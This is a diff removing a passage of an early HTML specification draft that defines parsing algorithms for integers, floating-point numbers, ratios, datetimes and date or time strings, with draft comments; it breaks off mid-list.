-  <p>The <dfn id=space title="space character">space characters</dfn>, for
-   the purposes of this specification, are U+0020 SPACE, U+0009 CHARACTER
-   TABULATION (tab), U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C
-   FORM FEED (FF), and U+000D CARRIAGE RETURN (CR).
-
-  <p>Some of the micro-parsers described below follow the pattern of having
-   an <var title="">input</var> variable that holds the string being parsed,
-   and having a <var title="">position</var> variable pointing at the next
-   character to parse in <var title="">input</var>.
-
-  <p>For parsers based on this pattern, a step that requires the user agent
-   to <dfn id=collect>collect a sequence of characters</dfn> means that the
-   following algorithm must be run, with <var title="">characters</var> being
-   the set of characters that can be collected:
-
-  <ol>
-   <li>
-    <p>Let <var title="">input</var> and <var title="">position</var> be the
-     same variables as those of the same name in the algorithm that invoked
-     these steps.
-
-   <li>
-    <p>Let <var title="">result</var> be the empty string.
-
-   <li>
-    <p>While <var title="">position</var> doesn't point past the end of <var
-     title="">input</var> and the character at <var title="">position</var>
-     is one of the <var title="">characters</var>, append that character to
-     the end of <var title="">result</var> and advance <var
-     title="">position</var> to the next character in <var
-     title="">input</var>.
-
-   <li>
-    <p>Return <var title="">result</var>.
-  </ol>
-
-  <p>The step <dfn id=skip-whitespace>skip whitespace</dfn> means that the
-   user agent must <a href="#collect">collect a sequence of characters</a>
-   that are <a href="#space" title="space character">space characters</a>.
-   The step <dfn id=skip->skip Zs characters</dfn> means that the user agent
-   must <a href="#collect">collect a sequence of characters</a> that are in
-   the Unicode character class Zs. In both cases, the collected characters
-   are not used. <a href="#refsUNICODE">[UNICODE]</a>
-
-  <p>Similarly, when the algorithms below say to
-
-  <h4 id=numbers><span class=secno>3.2.2. </span>Numbers</h4>
-
-  <h5 id=unsigned><span class=secno>3.2.2.1. </span>Unsigned integers</h5>
-
-  <p>A string is a <dfn id=valid>valid non-negative integer</dfn> if it
-   consists of one of more characters in the range U+0030 DIGIT ZERO (0) to
-   U+0039 DIGIT NINE (9).
-
-  <p>The <dfn id=rules>rules for parsing non-negative integers</dfn> are as
-   given in the following algorithm. When invoked, the steps must be followed
-   in the order given, aborting at the first step that returns a value. This
-   algorithm will either return zero, a positive integer, or an error.
-   Leading spaces are ignored. Trailing spaces and indeed any trailing
-   garbage characters are ignored.
-
-  <ol>
-   <li>
-    <p>Let <var title="">input</var> be the string being parsed.
-
-   <li>
-    <p>Let <var title="">position</var> be a pointer into <var
-     title="">input</var>, initially pointing at the start of the string.
-
-   <li>
-    <p>Let <var title="">value</var> have the value 0.
-
-   <li>
-    <p><a href="#skip-whitespace">Skip whitespace.</a>
-
-   <li>
-    <p>If <var title="">position</var> is past the end of <var
-     title="">input</var>, return an error.
-
-   <li>
-    <p>If the next character is not one of U+0030 DIGIT ZERO (0) .. U+0039
-     DIGIT NINE (9), then return an error.
-   </li>
-   <!-- Ok. At this point we know we have a number. It might have
-   trailing garbage which we'll ignore, but it's a number, and we
-   won't return an error. -->
-
-   <li>
-    <p>If the next character is one of U+0030 DIGIT ZERO (0) .. U+0039 DIGIT
-     NINE (9):</p>
-
-    <ol>
-     <li>Multiply <var title="">value</var> by ten.
-
-     <li>Add the value of the current character (0..9) to <var
-      title="">value</var>.
-
-     <li>Advance <var title="">position</var> to the next character.
-
-     <li>If <var title="">position</var> is not past the end of <var
-      title="">input</var>, return to the top of step 7 in the overall
-      algorithm (that's the step within which these substeps find
-      themselves).
-    </ol>
-
-   <li>
-    <p>Return <var title="">value</var>.
-  </ol>
-
-  <h5 id=signed><span class=secno>3.2.2.2. </span>Signed integers</h5>
-
-  <p>A string is a <dfn id=valid0>valid integer</dfn> if it consists of one
-   of more characters in the range U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE
-   (9), optionally prefixed with a U+002D HYPHEN-MINUS ("-") character.
-
-  <p>The <dfn id=rules0>rules for parsing integers</dfn> are similar to the
-   rules for non-negative integers, and are as given in the following
-   algorithm. When invoked, the steps must be followed in the order given,
-   aborting at the first step that returns a value. This algorithm will
-   either return an integer or an error. Leading spaces are ignored. Trailing
-   spaces and trailing garbage characters are ignored.
-
-  <ol>
-   <li>
-    <p>Let <var title="">input</var> be the string being parsed.
-
-   <li>
-    <p>Let <var title="">position</var> be a pointer into <var
-     title="">input</var>, initially pointing at the start of the string.
-
-   <li>
-    <p>Let <var title="">value</var> have the value 0.
-
-   <li>
-    <p>Let <var title="">sign</var> have the value "positive".
-
-   <li>
-    <p><a href="#skip-whitespace">Skip whitespace.</a>
-
-   <li>
-    <p>If <var title="">position</var> is past the end of <var
-     title="">input</var>, return an error.
-
-   <li>
-    <p>If the character indicated by <var title="">position</var> (the first
-     character) is a U+002D HYPHEN-MINUS ("-") character:</p>
-
-    <ol>
-     <li>Let <var title="">sign</var> be "negative".
-
-     <li>Advance <var title="">position</var> to the next character.
-
-     <li>If <var title="">position</var> is past the end of <var
-      title="">input</var>, return an error.
-    </ol>
-
-   <li>
-    <p>If the next character is not one of U+0030 DIGIT ZERO (0) .. U+0039
-     DIGIT NINE (9), then return an error.
-   </li>
-   <!-- Ok. At this point we know we have a number. It might have
-   trailing garbage which we'll ignore, but it's a number, and we
-   won't return an error. -->
-
-   <li>
-    <p>If the next character is one of U+0030 DIGIT ZERO (0) .. U+0039 DIGIT
-     NINE (9):</p>
-
-    <ol>
-     <li>Multiply <var title="">value</var> by ten.
-
-     <li>Add the value of the current character (0..9) to <var
-      title="">value</var>.
-
-     <li>Advance <var title="">position</var> to the next character.
-
-     <li>If <var title="">position</var> is not past the end of <var
-      title="">input</var>, return to the top of step 9 in the overall
-      algorithm (that's the step within which these substeps find
-      themselves).
-    </ol>
-
-   <li>
-    <p>If <var title="">sign</var> is "positive", return <var
-     title="">value</var>, otherwise return 0-<var title="">value</var>.
-  </ol>
-
-  <h5 id=real-numbers><span class=secno>3.2.2.3. </span>Real numbers</h5>
-
-  <p>A string is a <dfn id=valid1>valid floating point number</dfn> if it
-   consists of one of more characters in the range U+0030 DIGIT ZERO (0) to
-   U+0039 DIGIT NINE (9), optionally with a single U+002E FULL STOP (".")
-   character somewhere (either before these numbers, in between two numbers,
-   or after the numbers), all optionally prefixed with a U+002D HYPHEN-MINUS
-   ("-") character.
-
-  <p>The <dfn id=rules1>rules for parsing floating point number values</dfn>
-   are as given in the following algorithm. As with the previous algorithms,
-   when this one is invoked, the steps must be followed in the order given,
-   aborting at the first step that returns a value. This algorithm will
-   either return a number or an error. Leading spaces are ignored. Trailing
-   spaces and garbage characters are ignored.
-
-  <ol>
-   <li>
-    <p>Let <var title="">input</var> be the string being parsed.
-
-   <li>
-    <p>Let <var title="">position</var> be a pointer into <var
-     title="">input</var>, initially pointing at the start of the string.
-
-   <li>
-    <p>Let <var title="">value</var> have the value 0.
-
-   <li>
-    <p>Let <var title="">sign</var> have the value "positive".
-
-   <li>
-    <p><a href="#skip-whitespace">Skip whitespace.</a>
-
-   <li>
-    <p>If <var title="">position</var> is past the end of <var
-     title="">input</var>, return an error.
-
-   <li>
-    <p>If the character indicated by <var title="">position</var> (the first
-     character) is a U+002D HYPHEN-MINUS ("-") character:</p>
-
-    <ol>
-     <li>Let <var title="">sign</var> be "negative".
-
-     <li>Advance <var title="">position</var> to the next character.
-
-     <li>If <var title="">position</var> is past the end of <var
-      title="">input</var>, return an error.
-    </ol>
-
-   <li>
-    <p>If the next character is not one of U+0030 DIGIT ZERO (0) .. U+0039
-     DIGIT NINE (9) or U+002E FULL STOP ("."), then return an error.
-
-   <li>
-    <p>If the next character is U+002E FULL STOP ("."), but either that is
-     the last character or the character after that one is not one of U+0030
-     DIGIT ZERO (0) .. U+0039 DIGIT NINE (9), then return an error.
-   </li>
-   <!-- Ok. At this point we know we have a number. It might have
-   trailing garbage which we'll ignore, but it's a number, and we
-   won't return an error. -->
-
-   <li>
-    <p>If the next character is one of U+0030 DIGIT ZERO (0) .. U+0039 DIGIT
-     NINE (9):</p>
-
-    <ol>
-     <li>Multiply <var title="">value</var> by ten.
-
-     <li>Add the value of the current character (0..9) to <var
-      title="">value</var>.
-
-     <li>Advance <var title="">position</var> to the next character.
-
-     <li>If <var title="">position</var> is past the end of <var
-      title="">input</var>, then if <var title="">sign</var> is "positive",
-      return <var title="">value</var>, otherwise return 0-<var
-      title="">value</var>.
-
-     <li>Otherwise return to the top of step 10 in the overall algorithm
-      (that's the step within which these substeps find themselves).
-    </ol>
-
-   <li>
-    <p>Otherwise, if the next character is not a U+002E FULL STOP ("."), then
-     if <var title="">sign</var> is "positive", return <var
-     title="">value</var>, otherwise return 0-<var title="">value</var>.
-
-   <li>
-    <p>The next character is a U+002E FULL STOP ("."). Advance <var
-     title="">position</var> to the character after that.
-
-   <li>
-    <p>Let <var title="">divisor</var> be 1.
-
-   <li>
-    <p>If the next character is one of U+0030 DIGIT ZERO (0) .. U+0039 DIGIT
-     NINE (9):</p>
-
-    <ol>
-     <li>Multiply <var title="">divisor</var> by ten.
-
-     <li>Add the value of the current character (0..9) divided by <var
-      title="">divisor</var>, to <var title="">value</var>.
-
-     <li>Advance <var title="">position</var> to the next character.
-
-     <li>If <var title="">position</var> is past the end of <var
-      title="">input</var>, then if <var title="">sign</var> is "positive",
-      return <var title="">value</var>, otherwise return 0-<var
-      title="">value</var>.
-
-     <li>Otherwise return to the top of step 14 in the overall algorithm
-      (that's the step within which these substeps find themselves).
-    </ol>
-
-   <li>
-    <p>Otherwise, if <var title="">sign</var> is "positive", return <var
-     title="">value</var>, otherwise return 0-<var title="">value</var>.
-  </ol>
-
-  <h5 id=ratios><span class=secno>3.2.2.4. </span>Ratios</h5>
-
-  <p class=note>The algorithms described in this section are used by the
-   <code><a href="#progress0">progress</a></code> and <code><a
-   href="#meter0">meter</a></code> elements.
-
-  <p>A <dfn id=valid2>valid denominator punctuation character</dfn> is one of
-   the characters from the table below. There is <dfn id=a-value
-   title="values associated with denominator punctuation characters">a value
-   associated with each denominator punctuation character</dfn>, as shown in
-   the table below.
-
-  <table>
-   <thead>
-    <tr>
-     <th colspan=2>Denominator Punctuation Character
-
-     <th>Value
-
-   <tbody>
-    <tr>
-     <td>U+0025 PERCENT SIGN
-
-     <td>AMPERSAND#x0025;
-
-     <td>100
-
-    <tr>
-     <td>U+066A ARABIC PERCENT SIGN
-
-     <td>AMPERSAND#x066A;
-
-     <td>100
-
-    <tr>
-     <td>U+FE6A SMALL PERCENT SIGN
-
-     <td>AMPERSAND#xFE6A;
-
-     <td>100
-
-    <tr>
-     <td>U+FF05 FULLWIDTH PERCENT SIGN
-
-     <td>AMPERSAND#xFF05;
-
-     <td>100
-
-    <tr>
-     <td>U+2030 PER MILLE SIGN
-
-     <td>AMPERSAND#x2030;
-
-     <td>1000
-
-    <tr>
-     <td>U+2031 PER TEN THOUSAND SIGN
-
-     <td>AMPERSAND#x2031;
-
-     <td>10000
-  </table>
-
-  <p>The <dfn id=steps>steps for finding one or two numbers of a ratio in a
-   string</dfn> are as follows:
-
-  <ol>
-   <li>If the string is empty, then return nothing and abort these steps.
-
-   <li><a href="#find-a">Find a number</a> in the string according to the
-    algorithm below, starting at the start of the string.
-
-   <li>If the sub-algorithm in step 2 returned nothing or returned an error
-    condition, return nothing and abort these steps.
-
-   <li>Set <var title="">number1</var> to the number returned by the
-    sub-algorithm in step 2.
-
-   <li>Starting with the character immediately after the last one examined by
-    the sub-algorithm in step 2, skip any characters in the string that are
-    in the Unicode character class Zs (this might match zero characters). <a
-    href="#refsUNICODE">[UNICODE]</a>
-
-   <li>If there are still further characters in the string, and the next
-    character in the string is a <a href="#valid2">valid denominator
-    punctuation character</a>, set <var title="">denominator</var> to that
-    character.
-
-   <li>If the string contains any other characters in the range U+0030 DIGIT
-    ZERO to U+0039 DIGIT NINE, but <var title="">denominator</var> was given
-    a value in the step 6, return nothing and abort these steps.
-
-   <li>Otherwise, if <var title="">denominator</var> was given a value in
-    step 6, return <var title="">number1</var> and <var
-    title="">denominator</var> and abort these steps.
-
-   <li><a href="#find-a">Find a number</a> in the string again, starting
-    immediately after the last character that was examined by the
-    sub-algorithm in step 2.
-
-   <li>If the sub-algorithm in step 9 returned nothing or an error condition,
-    return nothing and abort these steps.
-
-   <li>Set <var title="">number2</var> to the number returned by the
-    sub-algorithm in step 9.
-
-   <li>If there are still further characters in the string, and the next
-    character in the string is a <a href="#valid2">valid denominator
-    punctuation character</a>, return nothing and abort these steps.
-
-   <li>If the string contains any other characters in the range U+0030 DIGIT
-    ZERO to U+0039 DIGIT NINE, return nothing and abort these steps.
-
-   <li>Otherwise, return <var title="">number1</var> and <var
-    title="">number2</var>.
-  </ol>
-  <!-- XXX again, this should say "positive number" -->
-
-  <p>The algorithm to <dfn id=find-a>find a number</dfn> is as follows. It is
-   given a string and a starting position, and returns either nothing, a
-   number, or an error condition.
-
-  <ol>
-   <li>Starting at the given starting position, ignore all characters in the
-    given string until the first character that is either a U+002E FULL STOP
-    or one of the ten characters in the range U+0030 DIGIT ZERO to U+0039
-    DIGIT NINE.
-
-   <li>If there are no such characters, return nothing and abort these steps.
-
-   <li>Starting with the character matched in step 1, collect all the
-    consecutive characters that are either a U+002E FULL STOP or one of the
-    ten characters in the range U+0030 DIGIT ZERO to U+0039 DIGIT NINE, and
-    assign this string of one or more characters to <var
-    title="">string</var>.
-
-   <li>If <var title="">string</var> contains more than one U+002E FULL STOP
-    character then return an error condition and abort these steps.
-
-   <li>Parse <var title="">string</var> according to the <a
-    href="#rules1">rules for parsing floating point number values</a>, to
-    obtain <var title="">number</var>. This step cannot fail (<var
-    title="">string</var> is guarenteed to be a <a href="#valid1">valid
-    floating point number</a>).
-
-   <li>Return <var title="">number</var>.
-  </ol>
-
-  <h5 id=percentages-and-dimensions><span class=secno>3.2.2.5.
-   </span>Percentages and dimensions</h5>
-
-  <p class=big-issue><dfn id=valid3 title="valid non-negative
-   percentage">valid non-negative percentages</dfn>, <dfn id=rules2>rules for
-   parsing dimension values</dfn>
-
-  <h4 id=dates><span class=secno>3.2.3. </span>Dates and times</h4>
-
-  <p>In the algorithms below, the <dfn id=number>number of days in month <var
-   title="">month</var> of year <var title="">year</var></dfn> is:
-   <em>31</em> if <var title="">month</var> is 1, 3, 5, 7, 8, 10, or 12;
-   <em>30</em> if <var title="">month</var> is 4, 6, 9, or 11; <em>29</em> if
-   <var title="">month</var> is 2 and <var title="">year</var> is a number
-   divisible by 400, or if <var title="">year</var> is a number divisible by
-   4 but not by 100; and <em>28</em> otherwise. This takes into account leap
-   years in the Gregorian calendar. <a href="#refsGREGORIAN">[GREGORIAN]</a>
-
-  <h5 id=specific><span class=secno>3.2.3.1. </span>Specific moments in time</h5>
-
-  <p>A string is a <dfn id=valid4>valid datetime</dfn> if it has four digits
-   (representing the year), a literal hyphen, two digits (representing the
-   month), a literal hyphen, two digits (representing the day), optionally
-   some spaces, either a literal T or a space, optionally some more spaces,
-   two digits (for the hour), a colon, two digits (the minutes), another
-   colon, two digits (the integer part of the seconds), optionally a decimal
-   point followed by one or more digits (for the fractional part of the
-   seconds), optionally some spaces, and finally either a literal Z
-   (indicating the time zone is UTC), or, a plus sign or a minus sign
-   followed by two digits, a colon, and two digits (for the sign, the hours
-   and minutes of the timezone offset respectively); with the month-day
-   combination being a valid date in the given year according to the
-   Gregorian calendar, the hour values (<var title="">h</var>) being in the
-   range 0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">h</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;23, the minute
-   values (<var title="">m</var>) in the range 0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var
-   title="">m</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;59, and the second value (<var
-   title="">s</var>) being in the range 0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var
-   title="">h</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;60. <a
-   href="#refsGREGORIAN">[GREGORIAN]</a></p>
-  <!--XXX [GREGORIAN] should point to
-  <dd id="refsGREGORIAN">[GREGORIAN]</dd>
-  <dd>(Non-normative) <cite>Inter Gravissimas</cite>, A. Lilius, C. Clavius. Gregory XIII Papal Bulls, February 1582.</dd>
-  -->
-
-  <p>The digits must be characters in the range U+0030 DIGIT ZERO (0) to
-   U+0039 DIGIT NINE (9), the hyphens must be a U+002D HYPHEN-MINUS
-   characters, the T must be a U+0054 LATIN CAPITAL LETTER T, the colons must
-   be U+003A COLON characters, the decimal point must be a U+002E FULL STOP,
-   the Z must be a U+005A LATIN CAPITAL LETTER Z, the plus sign must be a
-   U+002B PLUS SIGN, and the minus U+002D (same as the hyphen).
-
-  <div class=example>
-   <p>The following are some examples of dates written as <a href="#valid4"
-    title="valid datetime">valid datetimes</a>.</p>
-
-   <dl>
-    <dt>"<code>0037-12-13 00:00 Z</code>"
-
-    <dd>Midnight UTC on the birthday of Nero (the Roman Emperor).
-
-    <dt>"<code>1979-10-14T12:00:00.001-04:00</code>"
-
-    <dd>One millisecond after noon on October 14th 1979, in the time zone in
-     use on the east coast of North America during daylight saving time.
-
-    <dt>"<code>8592-01-01 T 02:09 +02:09</code>"
-
-    <dd>Midnight UTC on the 1st of January, 8592. The time zone associated
-     with that time is two hours and nine minutes ahead of UTC.
-   </dl>
-
-   <p>Several things are notable about these dates:</p>
-
-   <ul>
-    <li>Years with fewer than four digits have to be zero-padded. The date
-     "37-12-13" would not be a valid date.
-
-    <li>To unambiguously identify a moment in time prior to the introduction
-     of the Gregorian calendar, the date has to be first converted to the
-     Gregorian calendar from the calendar in use at the time (e.g. from the
-     Julian calendar). The date of Nero's birth is the 15th of December 37,
-     in the Julian Calendar, which is the 13th of December 37 in the
-     Gregorian Calendar.</li>
-    <!--
-    XXX this might not be true. I can't find a reference that gives
-    his birthday with an explicit statement about the calendar being
-    used. However, it seems unlikely that it would be given in the
-    Gregorian calendar, so I assume sites use the Julian one. -->
-
-    <li>The time and timezone components are not optional.
-
-    <li>Dates before the year 0 or after the year 9999 can't be represented
-     as a datetime in this version of HTML.
-
-    <li>Time zones differ based on daylight savings time.
-   </ul>
-  </div>
-
-  <p class=note>Conformance checkers can use the algorithm below to determine
-   if a datetime is a valid datetime or not.
-
-  <p>To <dfn id=datetime-parser>parse a string as a datetime value</dfn>, a
-   user agent must apply the following algorithm to the string. This will
-   either return a time in UTC, with associated timezone information for
-   round tripping or display purposes, or nothing, indicating the value is
-   not a <a href="#valid4">valid datetime</a>. If at any point the algorithm
-   says that it "fails", this means that it returns nothing.
-
-  <ol>
-   <li>
-    <p>Let <var title="">input</var> be the string being parsed.
-
-   <li>
-    <p>Let <var title="">position</var> be a pointer into <var
-     title="">input</var>, initially pointing at the start of the string.
-
-   <li>
-    <p><a href="#collect">Collect a sequence of characters</a> in the range
-     U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected
-     sequence is not exactly four characters long, then fail. Otherwise,
-     interpret the resulting sequence as a base ten integer. Let that number
-     be the <var title="">year</var>.
-
-   <li>
-    <p>If <var title="">position</var> is beyond the end of <var
-     title="">input</var> or if the character at <var title="">position</var>
-     is not a U+002D HYPHEN-MINUS character, then fail. Otherwise, move <var
-     title="">position</var> forwards one character.
-
-   <li>
-    <p><a href="#collect">Collect a sequence of characters</a> in the range
-     U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected
-     sequence is not exactly two characters long, then fail. Otherwise,
-     interpret the resulting sequence as a base ten integer. Let that number
-     be the <var title="">month</var>.
-
-   <li>If <var title="">month</var> is not a number in the range
-    1AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">month</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;12, then fail.
-
-   <li>
-    <p>Let <var title="">maxday</var> be the <a href="#number">number of days
-     in month <var title="">month</var> of year <var title="">year</var></a>.
-
-   <li>
-    <p>If <var title="">position</var> is beyond the end of <var
-     title="">input</var> or if the character at <var title="">position</var>
-     is not a U+002D HYPHEN-MINUS character, then fail. Otherwise, move <var
-     title="">position</var> forwards one character.
-
-   <li>
-    <p><a href="#collect">Collect a sequence of characters</a> in the range
-     U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected
-     sequence is not exactly two characters long, then fail. Otherwise,
-     interpret the resulting sequence as a base ten integer. Let that number
-     be the <var title="">day</var>.
-
-   <li>
-    <p>If <var title="">day</var> is not a number in the range
-     1AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">month</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var
-     title="">maxday</var>, then fail.
-
-   <li>
-    <p><a href="#collect">Collect a sequence of characters</a> that are
-     either U+0054 LATIN CAPITAL LETTER T characters or <a href="#space"
-     title="space character">space characters</a>. If the collected sequence
-     is zero characters long, or if it contains more than one U+0054 LATIN
-     CAPITAL LETTER T character, then fail.
-
-   <li>
-    <p><a href="#collect">Collect a sequence of characters</a> in the range
-     U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected
-     sequence is not exactly two characters long, then fail. Otherwise,
-     interpret the resulting sequence as a base ten integer. Let that number
-     be the <var title="">hour</var>.
-
-   <li>If <var title="">hour</var> is not a number in the range
-    0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">hour</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;23, then fail.
-
-   <li>
-    <p>If <var title="">position</var> is beyond the end of <var
-     title="">input</var> or if the character at <var title="">position</var>
-     is not a U+003A COLON character, then fail. Otherwise, move <var
-     title="">position</var> forwards one character.
-
-   <li>
-    <p><a href="#collect">Collect a sequence of characters</a> in the range
-     U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected
-     sequence is not exactly two characters long, then fail. Otherwise,
-     interpret the resulting sequence as a base ten integer. Let that number
-     be the <var title="">minute</var>.
-
-   <li>If <var title="">minute</var> is not a number in the range
-    0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">minute</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;59, then fail.
-
-   <li>
-    <p>Let <var title="">second</var> be a string with the value "0".
-
-   <li>
-    <p>If <var title="">position</var> is beyond the end of <var
-     title="">input</var>, then fail.
-
-   <li>
-    <p>If the character at <var title="">position</var> is a U+003A COLON,
-     then:</p>
-
-    <ol>
-     <li>
-      <p>Advance <var title="">position</var> to the next character in <var
-       title="">input</var>.
-
-     <li>
-      <p>If <var title="">position</var> is beyond the end of <var
-       title="">input</var>, or at the last character in <var
-       title="">input</var>, or if the next <em>two</em> characters in <var
-       title="">input</var> starting at <var title="">position</var> are not
-       two characters both in the range U+0030 DIGIT ZERO (0) to U+0039 DIGIT
-       NINE (9), then fail.
-
-     <li>
-      <p><a href="#collect">Collect a sequence of characters</a> that are
-       either characters in the range U+0030 DIGIT ZERO (0) to U+0039 DIGIT
-       NINE (9) or U+002E FULL STOP characters. If the collected sequence has
-       more than one U+002E FULL STOP characters, or if the last character in
-       the sequence is a U+002E FULL STOP character, then fail. Otherwise,
-       let the collected string be <var title="">second</var> instead of its
-       previous value.
-    </ol>
-
-   <li>
-    <p>Interpret <var title="">second</var> as a base ten number (possibly
-     with a fractional part). Let that number be <var title="">second</var>
-     instead of the string version.
-
-   <li>If <var title="">second</var> is not a number in the range
-    0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">hour</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;60, then fail.
-    (The values 60 and 61 are not allowed: leap seconds cannot be represented
-    by datetime values.)
-
-   <li>
-    <p>If <var title="">position</var> is beyond the end of <var
-     title="">input</var>, then fail.
-
-   <li>
-    <p><a href="#skip-whitespace">Skip whitespace.</a>
-
-   <li>
-    <p>If the character at <var title="">position</var> is a U+005A LATIN
-     CAPITAL LETTER Z, then:</p>
-
-    <ol>
-     <li>
-      <p>Let <var title="">timezone<sub>hours</sub></var> be 0.
-
-     <li>
-      <p>Let <var title="">timezone<sub>minutes</sub></var> be 0.
-
-     <li>
-      <p>Advance <var title="">position</var> to the next character in <var
-       title="">input</var>.
-    </ol>
-
-   <li>
-    <p>Otherwise, if the character at <var title="">position</var> is either
-     a U+002B PLUS SIGN ("+") or a U+002D HYPHEN-MINUS ("-"), then:</p>
-
-    <ol>
-     <li>
-      <p>If the character at <var title="">position</var> is a U+002B PLUS
-       SIGN ("+"), let <var title="">sign</var> be "positive". Otherwise,
-       it's a U+002D HYPHEN-MINUS ("-"); let <var title="">sign</var> be
-       "negative".
-
-     <li>
-      <p>Advance <var title="">position</var> to the next character in <var
-       title="">input</var>.
-
-     <li>
-      <p><a href="#collect">Collect a sequence of characters</a> in the range
-       U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected
-       sequence is not exactly two characters long, then fail. Otherwise,
-       interpret the resulting sequence as a base ten integer. Let that
-       number be the <var title="">timezone<sub>hours</sub></var>.
-
-     <li>If <var title="">timezone<sub>hours</sub></var> is not a number in
-      the range 0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var
-      title="">timezone<sub>hours</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;23, then fail.
-
-     <li>If <var title="">sign</var> is "negative", then negate <var
-      title="">timezone<sub>hours</sub></var>.
-
-     <li>
-      <p>If <var title="">position</var> is beyond the end of <var
-       title="">input</var> or if the character at <var
-       title="">position</var> is not a U+003A COLON character, then fail.
-       Otherwise, move <var title="">position</var> forwards one character.
-
-     <li>
-      <p><a href="#collect">Collect a sequence of characters</a> in the range
-       U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected
-       sequence is not exactly two characters long, then fail. Otherwise,
-       interpret the resulting sequence as a base ten integer. Let that
-       number be the <var title="">timezone<sub>minutes</sub></var>.
-
-     <li>If <var title="">timezone<sub>minutes</sub></var> is not a number in
-      the range 0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var
-      title="">timezone<sub>minutes</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;59, then fail.
-    </ol>
-
-   <li>
-    <p>If <var title="">position</var> is <em>not</em> beyond the end of <var
-     title="">input</var>, then fail.
-
-   <li>
-    <p>Let <var title="">time</var> be the moment in time at year <var
-     title="">year</var>, month <var title="">month</var>, day <var
-     title="">day</var>, hours <var title="">hour</var>, minute <var
-     title="">minute</var>, second <var title="">second</var>, adding <var
-     title="">timezone<sub>hours</sub></var> hours and <var
-     title="">timezone<sub>minutes</sub></var> minutes. That moment in time
-     is a moment in the UTC timezone.
-
-   <li>
-    <p>Let <var title="">timezone</var> be <var
-     title="">timezone<sub>hours</sub></var> hours and <var
-     title="">timezone<sub>minutes</sub></var> minutes from UTC.
-
-   <li>
-    <p>Return <var title="">time</var> and <var title="">timezone</var>.
-  </ol>
-
-  <h5 id=vaguer><span class=secno>3.2.3.2. </span>Vaguer moments in time</h5>
-
-  <p>This section defines <dfn id=date-or title="date or time string">date or
-   time strings</dfn>. There are two kinds, <dfn id=date-or0 title="date or
-   time string in content">date or time strings in content</dfn>, and <dfn
-   id=date-or1 title="date or time string in attributes">date or time strings
-   in attributes</dfn>. The only difference is in the handling of whitespace
-   characters.
-
-  <p>To parse a <a href="#date-or">date or time string</a>, user agents must
-   use the following algorithm. A <a href="#date-or">date or time string</a>
-   is a <em>valid</em> date or time string if the following algorithm, when
-   run on the string, doesn't say the string is invalid.
-
-  <p>The algorithm may return nothing (in which case the string will be
-   invalid), or it may return a date, a time, a date and a time, or a date
-   and a time and and a timezone. Even if the algorithm returns one or more
-   values, the string can still be invalid.
-
-  <ol><!-- INIT -->
-
-   <li>
-    <p>Let <var title="">input</var> be the string being parsed.
-
-   <li>
-    <p>Let <var title="">position</var> be a pointer into <var
-     title="">input</var>, initially pointing at the start of the string.
-
-   <li>
-    <p>Let <var title="">results</var> be the collection of results that are
-     to be returned (one or more of a date, a time, and a timezone),
-     initially empty. If the algorithm aborts at any point, then whatever is
-     currently in <var title="">results</var> must be returned as the result
-     of the algorithm.
-   </li>
-   <!-- LEADING WHITESPACE -->
-
-   <li>
-    <p>For the "in content" variant: <a href="#skip-">skip Zs characters</a>;
-     for the "in attributes" variant: <a href="#skip-whitespace">skip
-     whitespace</a>.
-   </li>
-   <!-- XXX skip whitespace in attribute?
-   really? -->
-   <!-- YEAR or HOUR -->
-
-   <li>
-    <p><a href="#collect">Collect a sequence of characters</a> in the range
-     U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected
-     sequence is empty, then the string is invalid; abort these steps.
-
-   <li>
-    <p>Let the sequence of characters collected in the last step be <var
-     title="">s</var>.
-
-   <li>
-    <p>If <var title="">position</var> is past the end of <var
-     title="">input</var>, the string is invalid; abort these steps.
-
-   <li>
-    <p>If the character at <var title="">position</var> is <em>not</em> a
-     U+003A COLON character, then:</p>
-    <!-- DATE -->
-    <ol>
-     <li>
-      <p>If the character at <var title="">position</var> is not a U+002D
-       HYPHEN-MINUS ("-") character either, then the string is invalid, abort
-       these steps.
-     </li>
-     <!-- YEAR -->
-
-     <li>
-      <p>If the sequence <var title="">s</var> is not exactly four digits
-       long, then the string is invalid. (This does not stop the algorithm,
-       however.)
-
-     <li>
-      <p>Interpret the sequence of characters collected in step 5 as a base
-       ten integer, and let that number be <var title="">year</var>.
-
-     <li>
-      <p>Advance <var title="">position</var> past the U+002D HYPHEN-MINUS
-       ("-") character.
-     </li>
-     <!-- MONTH -->
-
-     <li>
-      <p><a href="#collect">Collect a sequence of characters</a> in the range
-       U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected
-       sequence is empty, then the string is invalid; abort these steps.
-
-     <li>
-      <p>If the sequence collected in the last step is not exactly two digits
-       long, then the string is invalid.
-
-     <li>
